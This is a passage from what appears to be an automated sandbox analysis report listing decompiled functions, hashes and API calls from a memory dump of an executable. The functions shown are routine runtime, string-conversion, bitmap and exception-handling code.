Opcode Fuzzy Hash: 933add743314a5a1b677d5bf0c160e799953e5811659ef2f0da5dc0c25133895
Instruction Fuzzy Hash: AF41C1302483819AE731DF28DC45FAFBBE99F94B08F040A1DFAD197180C664DA4CEB52

Uniqueness

Uniqueness Score: -1.00%

Function 0137B5EA, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0137B5EA(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t34 ^ _t70;
				E01373356(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0x31e85006
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E0136E203(_t67, _v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E0136E920(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E0137980D(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E01377A8A(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E01380EE0();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x0137b5f2
0x0137b5f9
0x0137b605
0x0137b60a
0x0137b60f
0x0137b614
0x0137b614
0x0137b617
0x0137b619
0x0137b619
0x0137b61e
0x0137b637
0x0137b63d
0x0137b642
0x0137b6e1
0x0137b6e5
0x0137b6ea
0x0137b6ea
0x0137b706
0x0137b706
0x0137b648
0x0137b650
0x0137b654
0x0137b6a0
0x0137b6a2
0x0137b6a4
0x0137b6a9
0x0137b6c0
0x0137b6c8
0x0137b6d8
0x0137b6d8
0x0137b6c8
0x0137b6da
0x0137b6db
0x00000000
0x0137b6e0
0x0137b65b
0x0137b65d
0x0137b65f
0x0137b667
0x0137b684
0x0137b68e
0x0137b693
0x00000000
0x00000000
0x0137b695
0x0137b69b
0x0137b69b
0x00000000
0x0137b69b
0x0137b66b
0x0137b66f
0x0137b674
0x0137b678
0x00000000
0x00000000
0x0137b67a
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,31E85006,013734E6,00000000,00000000,0137451B,?,0137451B,?,00000001,013734E6,31E85006,00000001,0137451B,0137451B), ref: 0137B637
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0137B6C0
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0137B6D2
__freea.LIBCMT ref: 0137B6DB

Part of subcall function 01377A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,01372FA6,?,0000015D,?,?,?,?,01374482,000000FF,00000000,?,?), ref: 01377ABC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 09fa4d0bdc20e1dd44153100ce391be6ad163526ce63af2a04635ac7f7390554
Instruction ID: 5a50970e530321c17fd5d8028bc45b3dddf6d5a9c9728fc009ac29e6b609c9de
Opcode Fuzzy Hash: 09fa4d0bdc20e1dd44153100ce391be6ad163526ce63af2a04635ac7f7390554
Instruction Fuzzy Hash: 7431A071A0020AABDF359F68CC44DAFBBB9EB40764F044128EE04E6284E739D950CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0136A4F8, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136A4F8(void* __edx, void* __fp0) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				void* _t11;
				void* _t13;
				signed int _t18;
				signed int _t19;
				void* _t21;
				void* _t22;
				void* _t26;
				void* _t32;

				_t32 = __fp0;
				_t21 = __edx;
				_t22 = LoadBitmapW( *0x1390060, 0x65);
				_t19 = _t18 & 0xffffff00 | _t22 == 0x00000000;
				_t28 = _t19;
				if(_t19 != 0) {
					_t22 = E0136963A(0x65);
				}
				GetObjectW(_t22, 0x18,  &_v28);
				if(E0136952A(_t28) != 0) {
					if(_t19 != 0) {
						_t26 = E0136963A(0x66);
						if(_t26 != 0) {
							DeleteObject(_t22);
							_t22 = _t26;
						}
					}
					_t11 = E0136958C(_v20);
					_t13 = E0136975D(_t21, _t32, _t22, E01369549(_v24), _t11);
					DeleteObject(_t22);
					_t22 = _t13;
				}
				return _t22;
			}

0x0136a4f8
0x0136a4f8
0x0136a50e
0x0136a512
0x0136a515
0x0136a517
0x0136a520
0x0136a520
0x0136a529
0x0136a536
0x0136a541
0x0136a54a
0x0136a54e
0x0136a551
0x0136a553
0x0136a553
0x0136a54e
0x0136a558
0x0136a568
0x0136a570
0x0136a572
0x0136a574
0x0136a57c

APIs

LoadBitmapW.USER32(00000065), ref: 0136A508
GetObjectW.GDI32(00000000,00000018,?), ref: 0136A529
DeleteObject.GDI32(00000000), ref: 0136A551
DeleteObject.GDI32(00000000), ref: 0136A570

Part of subcall function 0136963A: FindResourceW.KERNEL32(00000066,PNG,?,?,0136A54A,00000066), ref: 0136964B
Part of subcall function 0136963A: SizeofResource.KERNEL32(00000000,76995B70,?,?,0136A54A,00000066), ref: 01369663
Part of subcall function 0136963A: LoadResource.KERNEL32(00000000,?,?,0136A54A,00000066), ref: 01369676
Part of subcall function 0136963A: LockResource.KERNEL32(00000000,?,?,0136A54A,00000066), ref: 01369681

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: 6595e2300b76c83012b24c336b829f6661db7b1d6e1f7c0bae333e2f7fecbdbd
Instruction ID: 175a24d9d9df06d1a490630d3646324fee8ba81e2e987a192b5e8175c01960a2
Opcode Fuzzy Hash: 6595e2300b76c83012b24c336b829f6661db7b1d6e1f7c0bae333e2f7fecbdbd
Instruction Fuzzy Hash: AF01F232540216ABDB21736C8C44F7F7B6E9B95B6DF088110BB00B72CCDE218C0293A0

Uniqueness

Uniqueness Score: -1.00%

Function 01371A89, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E01371A89(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E013720D8(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E0136F1DB(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E013722DA(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E01371893(_t29, _t32, _t37);
				if(_t25 != 0) {
					E0136F1A9(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x01371a89
0x01371a89
0x01371a8c
0x01371a91
0x01371a94
0x01371a96
0x01371a99
0x01371a9c
0x01371a9d
0x01371aa0
0x01371aa5
0x01371aa5
0x01371aa8
0x01371aac
0x01371aaf
0x01371ab4
0x01371ab1
0x01371ab1
0x01371ab1
0x01371ab7
0x01371abd
0x01371ac0
0x01371ac2
0x01371ac5
0x01371ac8
0x01371ac9
0x01371ad2
0x01371ad7
0x01371ada
0x01371ae0
0x01371ae3
0x01371ae6
0x01371ae9
0x01371aea
0x01371aed
0x01371af8
0x01371afc
0x00000000
0x01371afc
0x01371b03

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 01371AA0

Part of subcall function 013720D8: ___AdjustPointer.LIBCMT ref: 01372122

_UnwindNestedFrames.LIBCMT ref: 01371AB7
___FrameUnwindToState.LIBVCRUNTIME ref: 01371AC9
CallCatchBlock.LIBVCRUNTIME ref: 01371AED

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction ID: 808e0a2c7a77b6422b3e2df101170f742b2e23db04d1dbaa2888ac05024172df
Opcode Fuzzy Hash: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction Fuzzy Hash: E901E932400149BBDF22AF99DC01EEA3FBAEF59758F058115FD1865120D376E4A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013715E6, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013715E6() {
				void* _t4;
				void* _t8;

				E013729B7();
				E0137294B();
				if(E0137268E() != 0) {
					_t4 = E01371726(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E013726CA();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x013715e6
0x013715eb
0x013715f7
0x013715fc
0x01371601
0x01371603
0x0137160e
0x01371605
0x01371605
0x00000000
0x01371605
0x013715f9
0x013715f9
0x013715fb
0x013715fb

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 013715E6
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 013715EB
___vcrt_initialize_locks.LIBVCRUNTIME ref: 013715F0

Part of subcall function 0137268E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0137269F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 01371605

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction ID: ce452c5681d29ef1839c2572f6bcc295f6c5c024158f529dfed2ba9fb0e6c31b
Opcode Fuzzy Hash: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction Fuzzy Hash: ABC0482A010687D0DC353ABD2310AAF53480DB34FDB8D18C2ED42274229E8E841B6832

Uniqueness

Uniqueness Score: -1.00%

Function 0136975D, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0136975D(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				char _v112;
				intOrPtr _v116;
				intOrPtr* _v120;
				short _v122;
				short _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr* _v140;
				char _v144;
				intOrPtr* _v152;
				intOrPtr _v156;
				intOrPtr* _v164;
				char _v180;
				intOrPtr* _v184;
				intOrPtr* _v192;
				intOrPtr* _v200;
				intOrPtr* _v212;
				signed int _v216;
				signed int _v220;
				intOrPtr* _v224;
				char _v228;
				intOrPtr _v232;
				void* __edi;
				signed int _t71;
				intOrPtr* _t77;
				void* _t78;
				intOrPtr* _t79;
				intOrPtr* _t81;
				short _t89;
				intOrPtr* _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				intOrPtr* _t101;
				signed int _t103;
				intOrPtr* _t111;
				intOrPtr* _t113;
				intOrPtr* _t115;
				signed int _t120;
				intOrPtr _t124;
				intOrPtr* _t132;
				intOrPtr* _t134;
				void* _t146;
				void* _t149;
				signed int _t152;
				void* _t154;
				long long* _t155;
				long long _t158;

				_t158 = __fp0;
				if(E0136960F() != 0) {
					_t146 = _a4;
					GetObjectW(_t146, 0x18,  &_v68);
					_t152 = _v4;
					_t120 = _v0;
					asm("cdq");
					_t71 = _v72 * _t152 / _v76;
					if(_t71 < _t120) {
						_t120 = _t71;
					}
					_t149 = 0;
					_push( &_v112);
					_push(0x13833ac);
					_push(1);
					_push(0);
					_push(0x138417c);
					if( *0x138dff4() < 0) {
						L18:
						return _t146;
					} else {
						_t77 = _v132;
						_t78 =  *((intOrPtr*)( *_t77 + 0x54))(_t77, _t146, 0, 2,  &_v128);
						_t79 = _v152;
						if(_t78 >= 0) {
							_v144 = 0;
							_push( &_v144);
							_push(_t79);
							if( *((intOrPtr*)( *_t79 + 0x28))() >= 0) {
								_t81 = _v152;
								asm("fldz");
								_push(0);
								_t124 =  *_t81;
								_push(_t124);
								_push(_t124);
								 *_t155 = _t158;
								_push(0);
								_push(0);
								_push(0x138418c);
								_push(_v156);
								_push(_t81);
								if( *((intOrPtr*)(_t124 + 0x20))() >= 0) {
									E0136E920(_t146,  &_v136, 0, 0x2c);
									_v136 = 0x28;
									_v132 = _t152;
									_v120 = 0;
									_v128 =  ~_t120;
									_v124 = 1;
									_t89 = 0x20;
									_v122 = _t89;
									_t154 =  *0x138dedc(0,  &_v136, 0,  &_v180, 0, 0);
									asm("sbb ecx, ecx");
									if(( ~_t154 & 0x7ff8fff2) + 0x8007000e >= 0) {
										_t132 = _v216;
										 *((intOrPtr*)( *_t132 + 0x2c))(_t132,  &_v112);
										_t101 = _v120;
										 *((intOrPtr*)( *_t101 + 0x20))(_t101, _v220, _v116, _t120, 3);
										_t103 = _v136;
										_push(_v232);
										_t134 = _v140;
										_v220 = _t103;
										_v228 = 0;
										_v224 = 0;
										_v216 = _t120;
										_push(_t103 * _t120 << 2);
										_push(_v136 << 2);
										_push( &_v228);
										_push(_t134);
										if( *((intOrPtr*)( *_t134 + 0x1c))() < 0) {
											DeleteObject(_t154);
										} else {
											_t149 = _t154;
										}
										_t111 = _v164;
										 *((intOrPtr*)( *_t111 + 8))(_t111);
									}
									_t93 = _v212;
									 *((intOrPtr*)( *_t93 + 8))(_t93);
									_t95 = _v212;
									 *((intOrPtr*)( *_t95 + 8))(_t95);
									_t97 = _v224;
									 *((intOrPtr*)( *_t97 + 8))(_t97);
									if(_t149 != 0) {
										_t146 = _t149;
									}
									goto L18;
								}
								_t113 = _v184;
								 *((intOrPtr*)( *_t113 + 8))(_t113);
							}
							_t115 = _v192;
							 *((intOrPtr*)( *_t115 + 8))(_t115);
							_t79 = _v200;
						}
						 *((intOrPtr*)( *_t79 + 8))(_t79);
						goto L18;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E01369954();
			}

0x0136975d
0x01369767
0x01369782
0x0136978e
0x01369798
0x0136979f
0x013697a3
0x013697a4
0x013697aa
0x013697ac
0x013697ac
0x013697b3
0x013697b5
0x013697b6
0x013697be
0x013697bf
0x013697c0
0x013697cd
0x01369948
0x00000000
0x013697d3
0x013697d3
0x013697e3
0x013697e8
0x013697ec
0x013697f9
0x01369803
0x01369804
0x0136980a
0x0136981c
0x01369820
0x01369822
0x01369823
0x01369825
0x01369826
0x01369827
0x0136982a
0x0136982b
0x0136982c
0x01369831
0x01369835
0x0136983b
0x01369851
0x01369859
0x01369863
0x01369869
0x0136986d
0x01369876
0x0136987b
0x0136987e
0x01369895
0x0136989b
0x013698a9
0x013698ab
0x013698b7
0x013698ba
0x013698cf
0x013698d2
0x013698d6
0x013698da
0x013698de
0x013698e5
0x013698e9
0x013698ed
0x013698f6
0x01369901
0x01369906
0x01369907
0x0136990d
0x01369914
0x0136990f
0x0136990f
0x0136990f
0x0136991a
0x01369921
0x01369921
0x01369924
0x0136992b
0x0136992e
0x01369935
0x01369938
0x0136993f
0x01369944
0x01369946
0x01369946
0x00000000
0x01369944
0x0136983d
0x01369844
0x01369844
0x0136980c
0x01369813
0x01369816
0x01369816
0x013697f1
0x00000000
0x013697f1
0x013697cd
0x01369769
0x0136976d
0x01369771
0x00000000

APIs

Part of subcall function 0136960F: GetDC.USER32(00000000), ref: 01369613
Part of subcall function 0136960F: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0136961E
Part of subcall function 0136960F: ReleaseDC.USER32(00000000,00000000), ref: 01369629

GetObjectW.GDI32(?,00000018,?,00000000,?,76995B70), ref: 0136978E

Part of subcall function 01369954: GetDC.USER32(00000000), ref: 0136995D
Part of subcall function 01369954: GetObjectW.GDI32(?,00000018,?,?,?,76995B70,?,?,?,?,?,0136977A,?,?,?), ref: 0136998C
Part of subcall function 01369954: ReleaseDC.USER32(00000000,?), ref: 01369A20

Strings

(, xrefs: 01369859

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 7a9503e0a42d8b8aca0867c25840fe1c4e4f485eb2a8fe763902d4b275292dfd
Instruction ID: bc00b9c4e1989fe56888ab30108ed12fd9a845616706936a4c5867cbd9f07217
Opcode Fuzzy Hash: 7a9503e0a42d8b8aca0867c25840fe1c4e4f485eb2a8fe763902d4b275292dfd
Instruction Fuzzy Hash: AF610371208305AFD214DFA8C884E6BBBEDFF89608F10891DF599CB265D771E905CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01360A9F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E01360A9F(intOrPtr* __ecx) {
				char _v516;
				signed int _t26;
				void* _t28;
				void* _t32;
				signed int _t33;
				signed int _t34;
				signed int _t35;
				signed int _t38;
				void* _t47;
				void* _t48;

				_t41 = __ecx;
				_t44 = __ecx;
				_t26 =  *(__ecx + 0x48);
				_t47 = _t26 - 0x6f;
				if(_t47 > 0) {
					__eflags = _t26 - 0x7d;
					if(_t26 == 0x7d) {
						E0136C339();
						_t28 = E0135DA42(_t41, 0x96);
						return E01369735( *0x13975d8, E0135DA42(_t41, 0xc9), _t28, 0);
					}
				} else {
					if(_t47 == 0) {
						_push(0x456);
						L38:
						_push(E0135DA42(_t41));
						_push( *_t44);
						L19:
						_t32 = E0136A57D();
						L11:
						return _t32;
					}
					_t48 = _t26 - 0x16;
					if(_t48 > 0) {
						__eflags = _t26 - 0x38;
						if(__eflags > 0) {
							_t33 = _t26 - 0x39;
							__eflags = _t33;
							if(_t33 == 0) {
								_push(0x8c);
								goto L38;
							}
							_t34 = _t33 - 1;
							__eflags = _t34;
							if(_t34 == 0) {
								_push(0x6f);
								goto L38;
							}
							_t35 = _t34 - 1;
							__eflags = _t35;
							if(_t35 == 0) {
								_push( *((intOrPtr*)(__ecx + 4)));
								_push(0x406);
								goto L13;
							}
							_t38 = _t35 - 9;
							__eflags = _t38;
							if(_t38 == 0) {
								_push(0x343);
								goto L38;
							}
							_t26 = _t38 - 1;
							__eflags = _t26;
							if(_t26 == 0) {
								_push(0x86);
								goto L38;
							}
						} else {
							if(__eflags == 0) {
								_push(0x67);
								goto L38;
							}
							_t26 = _t26 - 0x17;
							__eflags = _t26 - 0xb;
							if(_t26 <= 0xb) {
								switch( *((intOrPtr*)(_t26 * 4 +  &M01360D63))) {
									case 0:
										_push(0xde);
										goto L18;
									case 1:
										_push(0xe1);
										goto L18;
									case 2:
										_push(0xb4);
										goto L38;
									case 3:
										_push(0x69);
										goto L38;
									case 4:
										_push(0x6a);
										goto L38;
									case 5:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x68);
										goto L13;
									case 6:
										_push(0x46f);
										goto L38;
									case 7:
										_push(0x470);
										goto L38;
									case 8:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x471);
										goto L13;
									case 9:
										goto L61;
									case 0xa:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x71);
										goto L13;
									case 0xb:
										E0135DA42(__ecx, 0xc8) =  &_v516;
										__eax = E01353E41( &_v516, 0x100,  &_v516,  *((intOrPtr*)(__esi + 4)));
										_push( *((intOrPtr*)(__esi + 8)));
										__eax =  &_v516;
										_push( &_v516);
										return E0136A57D( *__esi, L"%s: %s");
								}
							}
						}
					} else {
						if(_t48 == 0) {
							_push( *__ecx);
							_push(0xdd);
							L23:
							E0135DA42(_t41);
							L7:
							_push(0);
							L8:
							return E0136A57D();
						}
						if(_t26 <= 0x15) {
							switch( *((intOrPtr*)(_t26 * 4 +  &M01360D0B))) {
								case 0:
									_push( *__esi);
									_push(L"%ls");
									_push(">");
									goto L8;
								case 1:
									_push( *__ecx);
									_push(L"%ls");
									goto L7;
								case 2:
									_push(0);
									__eax = E01369D55();
									goto L11;
								case 3:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7b);
									goto L13;
								case 4:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7a);
									goto L13;
								case 5:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7c);
									goto L13;
								case 6:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xca);
									goto L13;
								case 7:
									_push(0x70);
									L18:
									_push(E0135DA42(_t41));
									_push(0);
									goto L19;
								case 8:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x72);
									goto L13;
								case 9:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x78);
									goto L13;
								case 0xa:
									_push( *__esi);
									_push(0x85);
									goto L23;
								case 0xb:
									_push( *__esi);
									_push(0x204);
									goto L23;
								case 0xc:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x84);
									goto L13;
								case 0xd:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x83);
									goto L13;
								case 0xe:
									goto L61;
								case 0xf:
									_push( *((intOrPtr*)(__esi + 8)));
									_push( *((intOrPtr*)(__esi + 4)));
									__eax = E0135DA42(__ecx, 0xd2);
									return __eax;
								case 0x10:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x79);
									goto L13;
								case 0x11:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xdc);
									L13:
									_push(E0135DA42(_t41));
									_push( *_t44);
									goto L8;
							}
						}
					}
				}
				L61:
				return _t26;
			}

0x01360a9f
0x01360aa9
0x01360aab
0x01360aae
0x01360ab1
0x01360cd8
0x01360cdb
0x01360cdd
0x01360ce9
0x00000000
0x01360d00
0x01360ab7
0x01360ab7
0x01360cce
0x01360bfb
0x01360c00
0x01360c01
0x01360b3e
0x01360b3e
0x01360b07
0x00000000
0x01360b07
0x01360abd
0x01360ac0
0x01360bc0
0x01360bc3
0x01360c83
0x01360c83
0x01360c86
0x01360cc4
0x00000000
0x01360cc4
0x01360c88
0x01360c88
0x01360c8b
0x01360cbd
0x00000000
0x01360cbd
0x01360c8d
0x01360c8d
0x01360c90
0x01360cb0
0x01360cb3
0x00000000
0x01360cb3
0x01360c92
0x01360c92
0x01360c95
0x01360ca6
0x00000000
0x01360ca6
0x01360c97
0x01360c97
0x01360c9a
0x01360c9c
0x00000000
0x01360c9c
0x01360bc9
0x01360bc9
0x01360c7c
0x00000000
0x01360c7c
0x01360bcf
0x01360bd2
0x01360bd5
0x01360bdb
0x00000000
0x01360be2
0x00000000
0x00000000
0x01360bec
0x00000000
0x00000000
0x01360bf6
0x00000000
0x00000000
0x01360c08
0x00000000
0x00000000
0x01360c0c
0x00000000
0x00000000
0x01360c10
0x01360c13
0x00000000
0x00000000
0x01360c1a
0x00000000
0x00000000
0x01360c21
0x00000000
0x00000000
0x01360c28
0x01360c2b
0x00000000
0x00000000
0x00000000
0x00000000
0x01360c35
0x01360c38
0x00000000
0x00000000
0x01360c4d
0x01360c59
0x01360c5e
0x01360c61
0x01360c67
0x00000000
0x00000000
0x01360bdb
0x01360bd5
0x01360ac6
0x01360ac6
0x01360bb7
0x01360bb9
0x01360b5b
0x01360b5b
0x01360ae3
0x01360ae3
0x01360ae5
0x00000000
0x01360aea
0x01360acf
0x01360ad5
0x00000000
0x01360af2
0x01360af4
0x01360af9
0x00000000
0x00000000
0x01360adc
0x01360ade
0x00000000
0x00000000
0x01360b00
0x01360b02
0x00000000
0x00000000
0x01360b0d
0x01360b10
0x00000000
0x00000000
0x01360b1c
0x01360b1f
0x00000000
0x00000000
0x01360b23
0x01360b26
0x00000000
0x00000000
0x01360b2a
0x01360b2d
0x00000000
0x00000000
0x01360b34
0x01360b36
0x01360b3b
0x01360b3c
0x00000000
0x00000000
0x01360b46
0x01360b49
0x00000000
0x00000000
0x01360b4d
0x01360b50
0x00000000
0x00000000
0x01360b54
0x01360b56
0x00000000
0x00000000
0x01360b63
0x01360b65
0x00000000
0x00000000
0x01360b6c
0x01360b6f
0x00000000
0x00000000
0x01360b76
0x01360b79
0x00000000
0x00000000
0x00000000
0x00000000
0x01360b80
0x01360b83
0x01360b8b
0x00000000
0x00000000
0x01360ba0
0x01360ba3
0x00000000
0x00000000
0x01360baa
0x01360bad
0x01360b12
0x01360b17
0x01360b18
0x00000000
0x00000000
0x01360ad5
0x01360acf
0x01360ac0
0x01360d09
0x01360d09

APIs

_swprintf.LIBCMT ref: 01360C59

Strings

%s: %s, xrefs: 01360C68
%ls, xrefs: 01360ADE, 01360AF4

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
